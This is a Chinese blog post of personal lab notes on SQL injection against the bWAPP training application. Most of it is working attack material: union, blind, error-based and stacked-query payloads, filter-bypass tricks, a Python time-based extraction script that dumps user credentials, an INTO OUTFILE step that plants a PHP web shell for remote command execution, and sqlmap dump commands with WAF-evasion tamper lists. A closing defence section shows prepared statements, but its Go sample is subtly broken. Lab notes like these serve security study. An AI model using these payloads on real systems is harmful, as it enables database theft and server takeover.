bwapp靶场笔记 -SQL注入篇

启动靶场

crabin@crabin-virtual-machine:~$ docker run -dt -p 9999:80 8be28fba48ec 

crabin@crabin-virtual-machine:~$ docker exec -it 7e94cd1b6b1d  /bin/bash

基础sql注入

  1. 查询数据库名字,以及所有的表名称

11 union select 1,2,database(),GROUP_CONCAT(table_name) ,5,6,7 from information_schema.tables where table_schema=database() #

blog,heroes,movies,users,visitors

  1. 查询需要表的字段名

11 union select 1,2,database(),GROUP_CONCAT(COLUMN_name) ,5,6,7 from information_schema.COLUMNs where table_name=‘users’ #

id,login,password,email,secret,activation_code,activated,reset_code,admin

  1. 根据字段名以及表名查询内容

11 union select 1,2,GROUP_CONCAT(id),GROUP_CONCAT(password) ,5,6,7 from users #

A.I.M.,bee,crabin 5 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0,7c4a8d09ca3762af61e59520943dc26494f8941b

  1. 解密得到用户密码
A.I.M. bug
bee bug
crabin 123456

盲注:

Boolean - base 布尔类型注入

 Gift' or 1=1#

Union 联合查询注入

Gift union select 1,2,3,4

Time_Base 时间盲注

Gift' and sleep(10)

bwapp靶场笔记 -SQL注入篇_第1张图片

常用函数

sleep(n) 返回0 命令返回1

substr(a,b,c) 对a从b开始截取c长度

substr 函数的变种函数 : mid()

count()

ascill() – 返回字符的额ascill码

length()

http://192.168.216.129:9999/sqli_15.php

确定注入点

1'or sleep(2)#

bwapp靶场笔记 -SQL注入篇_第2张图片

延时20s : or 关键字 每查询一条就执行sleep(2); 可以大概知道有10条数据

Iron Man' and LENGTH(DATABASE()) = 5 and sleep(2)#  -- true true 执行sleep(2)  得到数据库名字长度为5

bwapp靶场笔记 -SQL注入篇_第3张图片

Iron Man' and ASCII(SUBSTR(database(),1,1)) = 50 and sleep(2) -- 

看数据库名称的第一个字符的ASCII是否等于50

编写脚本:

"""

@Project : 脚本文件python
@File : Time_base.py
@Auther : Crabin
@Time : 2022/10/11 17:21

"""

import requests
import time

re = requests.session()
PARAMS = {
    "login": "bee",
    "password": "bug",
    "security_level": 0,
    "form": "submit"
}
# do_login = re.post("http://localhost:82/login.php",data = PARAMS)
# print(do_login.content)
# print(do_login.cookies)
HEADER = {
    "Cookie": "security_level=0; PHPSESSID=irrvm0bqo1nd7d3tufvirale43"
}
BASE_URL = "http://localhost:82/sqli_15.php?"

# 获取数据库名的长度
def get_databese_name_length() -> int:
    # Iron Man' and LENGTH(DATABASE()) = 1 and sleep(1)
    count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and LENGTH(DATABASE()) = {} and sleep(2) -- &action=search".format(i)
        time1 = time.time()
        resp = requests.get(url ,headers= HEADER)
        if time.time() - time1 > 1:
            # print("数据库长度为:{}".format(i))
            count = i
            break
    return count

# 得到数据库名字
def get_database_name(count) -> str:
    base_name = ""
    for i in range(count + 1):
        for j in range(33, 127):
            url = BASE_URL + "title=Iron Man' and ASCII(SUBSTR(database(),{},1)) = {} and sleep(2) -- &action=search".format(
                i, j)
            time1 = time.time()
            resp = requests.get(url,headers= HEADER)
            if time.time() - time1 > 1:
                # print("数据库长度为:{}".format(i))
                base_name += chr(j)
                break
    return base_name

#得到这个数据中的表的个数
def get_table_count() -> int:
    #Iron Man' (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = 1 and sleep(1)

    table_count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = {} and sleep(2)-- &action=search".format(i)
        time1 = time.time()
        resp = requests.get(url, headers=HEADER)
        if time.time() - time1 > 1:
            table_count = i
            break

    return table_count

# 得到每个表的长度
def get_table_length_of_each_table(count):
    #(SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) = 1 and sleep(1)
    res = []
    for i in range(count+1):
        for j in range(100):
            url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT {},1) = {} and sleep(2)-- &action=search".format(i,j)
            time1 = time.time()
            resp = requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                print("++++++++++++长度:{}".format(j))
                table_name = get_table_name_of_each_table(i,j)
                res.append(j)
                res.append(table_name)
                break
    return res

# 得到每个表的名称
def get_table_name_of_each_table(index,count):
    # SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) and sleep(1),1,1) = {}
    name = ""
    for i in range(count + 1):

        for j in range(33,127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(index,i, j)
            time1 = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                # print(chr(j))
                name += chr(j)
                break
    print(name)
    return name

# 已知我们需要的信息在users表中

# 得到users中的字段个数
def get_column_count(table_name):
    # (SELECT LENGTH(COLUMN_NAME) from information_schema.COMMITS WHERE table_name = {} LIMIT 1,1) = 1

    column_count = 0
    for i in range(100):
        url = BASE_URL + "title=Iron Man' and (SELECT count(COLUMN_NAME) from information_schema.COLUMNS WHERE table_name = '{}') = {} and sleep(2)-- &action=search".format(table_name,i)
        time1 = time.time()
        resp = requests.get(url, headers=HEADER)
        if time.time() - time1 > 1:
            column_count = i
            print("字段个数为:{}".format(i))
            break

    return column_count

# 得到每个字段的长度
def get_column_length_of_each_column(table_name ,count):
    # (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1) = 1 ;

    res = []
    for i in range(count + 1):
        for j in range(100):
            url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1) = {} and sleep(2)-- &action=search".format(
                table_name, i, j)
            time1 = time.time()
            resp = requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                print("++++++++++++长度:{}".format(j))
                column_name = get_column_name_of_each_column(table_name,i,j)
                res.append(j)
                res.append(column_name)
                print(res)
                break
    return res

# 获取每一个字段名称
def get_column_name_of_each_column(table_name,index,count):
    # ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1),1,1) = {});

    name = ""
    for i in range(count + 1):

        for j in range(33, 127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(
               table_name, index, i, j)
            time1 = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - time1 > 1:
                # print(chr(j))
                name += chr(j)
                break
    print(name)
    return name

def get_username_password():
    # ascii(SUBSTR((SELECT concat(login,password) from users LIMIT 1,1),1,1) = {});
    res = []
    info = ""
    for i in range(100):
        index = 1
        for j in range(33,127):
            url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT concat(login,' @pwd: ',password) from users LIMIT 0,1),{},1)) = {} and sleep(2)-- &action=search"\
                .format(i,j)
            time1 = time.time()
            requests.get(url,headers=HEADER)
            if time.time() - time1 > 1:
                info += chr(j)
                break
        print(info)
    res.append(info)
    return res

if __name__ == '__main__':
    # base_len = get_databese_name_length()
    # print("数据库长度为:{}".format(base_len))
    # base_name = get_database_name(base_len)
    # print("数据库名称:" + base_name)
    # table_count =  get_table_count()
    # print("表的个数为:{}".format(table_count))

    # get_table_length_of_each_table(table_count)
    # get_column_count("users")
    # list = get_column_length_of_each_column("users",9)

    # 分析出来需要admin 和 password字段
    get_username_password()


Error-Based报错型盲注

如果页面可以输出sql报错信息,则可以从报错信息中获取需要的信息

注入语句:

1' union select 1,2,3,4,5,count(*),concat((SELECT DATABASE()),FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x #

bwapp靶场笔记 -SQL注入篇_第4张图片

Stacked queries 堆叠注入

多条语句执行

a';drop database [databasename];

User_Agent注入

bwapp靶场笔记 -SQL注入篇_第5张图片

  1. 确定注入点

bwapp靶场笔记 -SQL注入篇_第6张图片

这里有insert语句

INSERT into xxx VALUES()

我们需要闭合这个语句 构造sql注入语句(猜测大概有两个value):

INSERT into xxx VALUES('aaa','bbb')
注入语句:
aaa','bbb')#

bwapp靶场笔记 -SQL注入篇_第7张图片

插入成功

后台的语句:

image-20221012155106767

我们可以构造sql注入语句:得到数据库名称

bwapp靶场笔记 -SQL注入篇_第8张图片

bwapp靶场笔记 -SQL注入篇_第9张图片

常见SQL注入绕过

关键字拦截

union

bwapp靶场笔记 -SQL注入篇_第10张图片

这里吧union关键字给替换成了空

bwapp靶场笔记 -SQL注入篇_第11张图片

方法1:大小写转换

movie=21(这个需要报错) UnIon select 1,2,3,4,5,6,7 #

方法2:嵌套

movie=21 UNIunionON select 1,2,3,4,5,6,7 #

空格

把空格给去掉了:识别不出来报错

movie=21UnIonselect1,2,3,4,5,6,7#

在使用空格的地方都使用/**/

movie=21/**/UnIon/**/select/**/1,2,3,4,5,6,7/**/#

=

使用 like 代替

select * from user where name like 'crabin'

使用注释符

movie=21 /*!union*/ select 1,2,3,4,5,6,7 #

SQL备份命令

mysqldump -uroot -p [库名] [表名] > /tmp/a.sql(路径)

全备份
mysqldump -uroot -p -A -R -E --triggers --master-data=2 --single-transaction > full.sql

恢复
source /tmp/a.sql

把数据库全部保存

mysqldump -A -R -E --triggers --master-data=2 --single-transaction > /tmp/full.sql

SQL group by 报错盲注原理sql层

SELECT count(*),FLOOR(RAND(0)*2) as x FROM movies GROUP BY x;

上面的语句在执行的时候会报错原因:

 SELECT FLOOR(RAND(0)*2) FROM movies ; 
 结果

bwapp靶场笔记 -SQL注入篇_第12张图片

为 01101100 ,使用了随机种子,所以每次执行的结果都是一样的

第一个语句 count() 和GROUP BY 语句连用会建立一个虚拟表:

count(*)  key

# 在读取到0的时候:先查询是否存在 0 的key没有就执行插入 1 0 
# 但是走到GROUP BY语句时 又触发一次所以key变成了 1
第一次走
*****
1 1
*****
此时已经读取了两个数01
再次往后走,是 1 ,查询存在key值 所以直接更新不触发GROUP BY
*****
2 1
*****
再一次走 ,是 0 ,不存在key ,执行插入,但是又触发GROUP BY ,读取后一位 1
*****
2 1
1 1
*****
这里是错误的,所以系统报错,这就是报错注入的sql原理

验证

SELECT count(*),concat(FLOOR(RAND(0)*2) ) as x FROM users GROUP BY x;

不报错 我们更改了查询的表

bwapp靶场笔记 -SQL注入篇_第13张图片

users表:只有两条数据

bwapp靶场笔记 -SQL注入篇_第14张图片

SELECT FLOOR(RAND(0)*2) FROM users ;

image-20221012171132636

没有上述的错误现象

表里面的数据如果是 < 3 的时候则不会报错

所以我的表可以使用 information_schema.TABLES 表让他一定报错

bwapp靶场笔记 -SQL注入篇_第15张图片

bwapp靶场笔记 -SQL注入篇_第16张图片

SQL远程代码执行

使用命令

select * from heroes where id =1 union select 1,2,3,'hello' into outfile '/var/www/html/images/a.php';

image-20221019174822596

images 这个文件是可以写的

image-20221019174935308

chmod 757 /images

这个是mysql使用可以操作

root@faae62fb3a0a:/var/www/html# chown -R mysql.mysql images/

利用这个sql上传我们的脚本代码

11 union select 1,2,3,4,5,6,'' into outfile '/var/www/html/images/cmd.php'#&action=go

bwapp靶场笔记 -SQL注入篇_第17张图片

查看主靶机后台是否上传成功

bwapp靶场笔记 -SQL注入篇_第18张图片

在游览器访问

bwapp靶场笔记 -SQL注入篇_第19张图片

使用 php 代码的接收参数 cmd进行远程命令执行

bwapp靶场笔记 -SQL注入篇_第20张图片

SQLmap

文档:https://sqlmap.org/

常见命令

-u "url"

--data "user=name,passwd=123456" #post提交指明post的提交名字 

--dbs

--tables

--columns

--dump

--level 			# 1-5  注入等级,越高注入越多,越深 

--risk 				# 1-3  1默认,2增加事件的测试语句,3增加or这种语句 

--batch 			#不要来询问我直接全部选择默认的

--dump-all			#得到全部表(包含数据库默认表)的数据  和-D 一起使用 得到这个库下的所有信息 //脱库

--cookie=""			#设置请求头的cookie

-b :--banner	   # 得到操作用户

-f 

--is-dba 			#这个mysql的操作用户是否拥有主机的root权限

-l 111.log			#使用这个log文件来进行攻击
python3 sqlmap.py -l 111.log

111.log :
======================================================
15:24:05  https://dss0.bdstatic.com:443  [220.169.152.33]
======================================================
GET /5aV1bjqh_Q23odCf/static/superman/js/min_super-59ec6c653e.js HTTP/1.1
Host: dss0.bdstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://www.baidu.com/index.php?tn=monline_3_dg
Connection: close
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
If-Modified-Since: Thu, 15 Sep 2022 11:42:26 GMT
If-None-Match: "63230fa2-f88f"
Cache-Control: max-age=0


======================================================

含义必要的信息

得到数据库名称

                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" --dbs


        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[']_____ ___ ___  {1.6.10.2#dev}                                                                                                                                                                                                    
|_ -| . [,]     | .'| . |                                                                                                                                                                                                                   
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:41:31 /2022-10-24/

[15:41:32] [INFO] resuming back-end DBMS 'mysql' 
[15:41:32] [INFO] testing connection to the target URL
[15:41:37] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:41:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.5
[15:41:37] [INFO] fetching database names
[15:41:39] [INFO] retrieved: 'information_schema'
[15:41:39] [INFO] retrieved: 'bWAPP'
[15:41:39] [INFO] retrieved: 'mysql'
[15:41:39] [INFO] retrieved: 'performance_schema'
available databases [4]:                                                                                                                                                                                                                   
[*] bWAPP
[*] information_schema
[*] mysql
[*] performance_schema

[15:41:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'

[*] ending @ 15:41:39 /2022-10-24/

 
 
 

得到表

                
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP --tables
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[']_____ ___ ___  {1.6.10.2#dev}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:42:31 /2022-10-24/

[15:42:32] [INFO] resuming back-end DBMS 'mysql' 
[15:42:32] [INFO] testing connection to the target URL
[15:42:32] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:42:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:42:32] [INFO] fetching tables for database: 'bWAPP'
[15:42:32] [INFO] retrieved: 'blog'
[15:42:32] [INFO] retrieved: 'heroes'
[15:42:32] [INFO] retrieved: 'movies'
[15:42:32] [INFO] retrieved: 'users'
[15:42:33] [INFO] retrieved: 'visitors'
Database: bWAPP                                                                                                                                                                                                                            
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+

[15:42:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'

[*] ending @ 15:42:33 /2022-10-24/


得到信息

                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP -T users --dump
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___["]_____ ___ ___  {1.6.10.2#dev}                                                                                                                                                                                                    
|_ -| . [']     | .'| . |                                                                                                                                                                                                                   
|___|_  [']_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:44:03 /2022-10-24/

[15:44:03] [INFO] resuming back-end DBMS 'mysql' 
[15:44:03] [INFO] testing connection to the target URL
[15:44:03] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:44:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:44:03] [INFO] fetching columns for table 'users' in database 'bWAPP'
[15:44:04] [INFO] retrieved: 'id','int(10)'
[15:44:04] [INFO] retrieved: 'login','varchar(100)'
[15:44:04] [INFO] retrieved: 'password','varchar(100)'
[15:44:04] [INFO] retrieved: 'email','varchar(100)'
[15:44:04] [INFO] retrieved: 'secret','varchar(100)'
[15:44:04] [INFO] retrieved: 'activation_code','varchar(100)'
[15:44:04] [INFO] retrieved: 'activated','tinyint(1)'
[15:44:05] [INFO] retrieved: 'reset_code','varchar(100)'
[15:44:05] [INFO] retrieved: 'admin','tinyint(1)'
[15:44:05] [INFO] fetching entries for table 'users' in database 'bWAPP'                                                                                                                                                                   
[15:44:05] [INFO] retrieved: '1',' ','1','[email protected]','1','A.I.M.','6885858486f31043e5839c735d99457f045affd0',' ','A.I.M. or Authentication Is Missing'
[15:44:05] [INFO] retrieved: '1',' ','1','[email protected]','2','bee','6885858486f31043e5839c735d99457f045affd0',' ','Any bugs?'
[15:44:05] [INFO] recognized possible password hashes in column 'password'                                                                                                                                                                 
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[15:44:22] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 4
[15:45:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:45:51] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[15:45:51] [INFO] starting 4 processes 
[15:45:56] [INFO] cracked password 'bug' for user 'A.I.M.'                                                                                                                                                                                 
Database: bWAPP                                                                                                                                                                                                                            
Table: users
[2 entries]
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| id | admin | email                    | login  | secret                              | password                                       | activated | reset_code | activation_code |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| 1  | 1     | [email protected] | A.I.M. | A.I.M. or Authentication Is Missing | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
| 2  | 1     | [email protected] | bee    | Any bugs?                           | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+

[15:45:59] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.216.142/dump/bWAPP/users.csv'
[15:45:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'

[*] ending @ 15:45:59 /2022-10-24/


bwapp靶场笔记 -SQL注入篇_第21张图片

脱库

得到所有的表的信息

sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -f -b --dump-all

–dbs 和 -f -b --dbs

-f -b --dbs: -f --banner --dbs

bwapp靶场笔记 -SQL注入篇_第22张图片

sqlmap WAF绕过

使用–tamper 来使用py绕过脚本

python3 sqlmap.py -u "" --tamper 
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnul12ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
python3 sqlmap.py -u‘xxx" - -
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2p1us,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

sql注入防御

形成原因:

用户输入的数据作为代码执行了

  • 用户能控制传参
  • SQL语句中拼接了用户传参内容
  • 拼接后的SQL语句必须能在数据库中执行(我们在服务端使这个不能在数据库中执行)

在服务端防御

设置黑名单

fun ProductsHandler(c *gin.Context) {
    //两个值 字段
    a := c.Query("category") 
    s := c.Query("released")  
    
    // a 转为小写
    // 读取我们的黑名单文件,全部替换为“” 使用数据库报错
    // 这种方法不能从根本上防住sql注入,怎么不可能防止所有的关键字
    
    // -1: 全部替换  1: 只替换一次
    a = strings.Replace(a,"union","",-1)
    
    log.Println(a)
    sqlStr := fmt.Sprintf(`select id,name,context,released from products where category = '%s' and released = %s`,a,s)
    log.Println(sqlStr)
    
    // 直接查询数据库
    rows, err := model.DB.Query(sqlStr)
    
    if err != nil {
        c.JSON(htpp.statusOK, gin.H{
            "code": 404,
            "err": err.Error(),
            "msg": "error",
        })
        return
    }
    
    ...
    没有问题返回数据
}

黑名单文件a.txt

union
select
limit
where
union all
information_schema
and
or

预处理

普通的SQL语句执行过程:

  1. 客户端对SQL语句进行占位符替换得到完整的SQL语句
  2. 客户端发送完整SQL语句到MySQL服务端
  3. MySQL服务端执行完整的SQL语句并将结果返回给客户端

一次编译, 单次运行,此类普通语句被称作 Immediate Statements(即使 SQL)

预处理执行过程:

  1. 把SQL语句分成两部分,命令部分与数据部分
  2. 先把命令部分发送给MySQL服务端,MySQL 服务端进行SQL预处理
  3. 然后把数据部分发送给MySQL服务端,MySQL 服务端对SQL语句进行占位符替换
  4. MySQL服务端执行完整的SQL语句并将结果返回给客户端

所谓预编译语句就是将此类SQL语句中的值用占位符替代, 可以视为将SQL 语句模板化或者说措参数化,一般称为这类语句叫 Prepared Statement

bwapp靶场笔记 -SQL注入篇_第23张图片

image-20221030171724460

普通:

bwapp靶场笔记 -SQL注入篇_第24张图片

Prepared Statements执行流程

bwapp靶场笔记 -SQL注入篇_第25张图片

先进行sql模板的编译 在传入值(union select …)把这个值只当参数处理不会再编译

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

image-20221030173012677

bwapp靶场笔记 -SQL注入篇_第26张图片

bwapp靶场笔记 -SQL注入篇_第27张图片

fun ProductsHandler(c *gin.Context) {
    //两个值 字段
    a := c.Query("category") 
    s := c.Query("released")  
   
    log.Println(a)
    // 预编译的模板
    sqlStr :="select id,name,context,released from products where category = ? and released = ? " 
    // 定义模板
    stmt, err2 := model.DB.Prepare(sqlStr)
    
    //错误就抛出返回
    if err2 != nil {
        c.JSON(htpp.statusOK, gin.H{
            "code": 404,
            "err": err2.Error(),
            "msg": "error",
        })
        return
    }
    
    //直接查询 用户输入的只作为参数使用
    rows, err := model.DB.Query(a, s)
    
    if err != nil {
        c.JSON(htpp.statusOK, gin.H{
            "code": 404,
            "err": err.Error(),
            "msg": "error",
        })
        return
    }
    
    var r []model.Product
    for rows.Next() {
        var p model.Product
        if rowErr := rows.Scan(&p.Id, &p.Name, &p.Content, &p.Rleased); rowErr != nil {
            c.JSON(200, gin.H{
                "code": 404,
                "err": rowErr.Error(),
                "msg": "error"
            })
        }
        r = append(r, p)
    }
    c.JSON(200, gin.H{
        "code": 0,
        "data": r,
        "msg": "success"
    })
}

查看mysql日志

tail -f /tmp/mysql.log

bwapp靶场笔记 -SQL注入篇_第28张图片

Docker 使用

打包

docker build -t name .    #go
docker save -o zipname.tar name

发送到服务器

scp zipname.tar ssh [email protected]:/root

load这个包

docker load --input zipname.tar

run

docker run  --name name -d -p 3333:8080 imageID
``

你可能感兴趣的:(笔记,sql,数据库,安全)